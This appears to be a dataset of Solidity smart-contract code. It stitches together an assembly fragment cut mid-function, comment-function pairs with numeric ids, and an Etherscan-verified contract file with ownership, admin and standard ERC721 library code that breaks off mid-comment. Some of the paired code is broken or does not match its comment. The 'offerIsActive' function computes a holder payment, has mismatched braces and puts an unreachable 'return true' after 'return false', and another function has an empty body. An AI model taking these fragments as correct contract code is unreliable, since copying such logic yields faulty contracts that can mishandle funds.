mstore(add(m,0xc0), 0xc976c13bb96e881cb166a933a55e490d9d56952b8d4e801485467d2362422606)
mstore(add(m,0xe0), 0x753a6d1b65325d0c552a4d1345224105391a310b29122104190a110309020100)
mstore(0x40, add(m, 0x100))
let magic := 0x818283848586878898a8b8c8d8e8f929395969799a9b9d9e9faaeb6bedeeff
let shift := 0x100000000000000000000000000000000000000000000000000000000000000
let a := div(mul(x, magic), shift)
y := div(mload(add(m,sub(255,a))), shift)
y := add(y, mul(256, gt(arg, 0x8000000000000000000000000000000000000000000000000000000000000000)))
}
}
}
|
Pay the previous holder Multiply the tokenAmountPerHolder by the time the the holder held the data Divide the tokenAmountPerHolder by the total time
|
function offerIsActive(bytes32 offerId, address holderIdentity)
internal view returns (bool offerIsActive) {
HoldingStorage holdingStorage = HoldingStorage(hub.getContractAddress("HoldingStorage"));
LitigationStorage litigationStorage = LitigationStorage(hub.getContractAddress("LitigationStorage"));
uint256 amountToTransfer = holdingStorage.getOfferTokenAmountPerHolder(offerId);
amountToTransfer = amountToTransfer.mul((block.timestamp).sub(holdingStorage.getHolderPaymentTimestamp(offerId, holderIdentity)));
amountToTransfer = amountToTransfer.div(holdingStorage.getOfferHoldingTimeInMinutes(offerId).mul(60));
if (amountToTransfer.add(holdingStorage.getHolderPaidAmount(bytes32(offerId), holderIdentity))
>= holdingStorage.getHolderStakedAmount(bytes32(offerId), holderIdentity)) {
return false;
return true;
}
}
| 14,055,704
|
./full_match/1/0x9C1dC986D786534c13Ec32eFA6C7A1631898d102/sources/inari1.sol
|
Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
|
function stakeSushiToBentoTo(address to, uint256 amount) external {
}
| 3,116,979
|
/**
*Submitted for verification at Etherscan.io on 2021-06-03
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = 0x0000000000000000000000000000000000000000;
}
}
// ----------------------------------------------------------------------------
// Administrators
// ----------------------------------------------------------------------------
contract Admined is Owned {
mapping (address => bool) public admins;
event AdminAdded(address addr);
event AdminRemoved(address addr);
modifier onlyAdmin() {
require(isAdmin(msg.sender));
_;
}
function isAdmin(address addr) public returns (bool) {
return (admins[addr] || owner == addr);
}
function addAdmin(address addr) public onlyOwner {
require(!admins[addr] && addr != owner);
admins[addr] = true;
AdminAdded(addr);
}
function removeAdmin(address addr) public onlyOwner {
require(admins[addr]);
delete admins[addr];
AdminRemoved(addr);
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
